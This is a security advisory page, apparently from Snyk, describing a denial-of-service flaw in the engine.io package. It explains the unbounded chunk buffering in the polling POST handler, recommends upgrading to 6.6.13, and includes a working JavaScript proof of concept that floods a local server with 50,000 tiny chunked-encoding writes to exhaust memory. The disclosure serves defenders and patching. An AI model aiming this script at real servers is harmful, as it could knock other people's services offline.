Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.
Start learningUpgrade engine.io to version 6.6.13 or higher.
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded chunk buffering in the polling POST request handler, where an attacker can send a request body split into a large number of small chunks using chunked transfer encoding, forcing the server to create excessive string objects and exhausting available memory.
Note: This is only exploitable when clients connect directly to the Engine.IO server without a reverse proxy, as most reverse proxies (Nginx, HAProxy, Apache) concatenate chunks before forwarding requests to the backend.
import http from "node:http";
import { Server } from "engine.io";
import { Socket } from "engine.io-client";
// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);
server.listen(3000, async () => {
console.log("Vulnerable server listening on port 3000");
// Create a connection first to get a session ID
const client = new Socket("ws://localhost:3000", { transports: ["polling"] });
await new Promise((resolve) => client.on("open", resolve));
// Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)
const nodeReq = http.request(
{
hostname: "localhost",
port: 3000,
path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,
method: "POST",
headers: {
"Content-Type": "text/plain",
"Transfer-Encoding": "chunked",
},
},
(res) => {
console.log("Response status:", res.statusCode);
client.close();
server.close();
}
);
// Send many small chunks to exhaust memory
for (let i = 0; i < 50_000; i++) {
nodeReq.write("a");
}
nodeReq.end();
});
Expected Result: The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.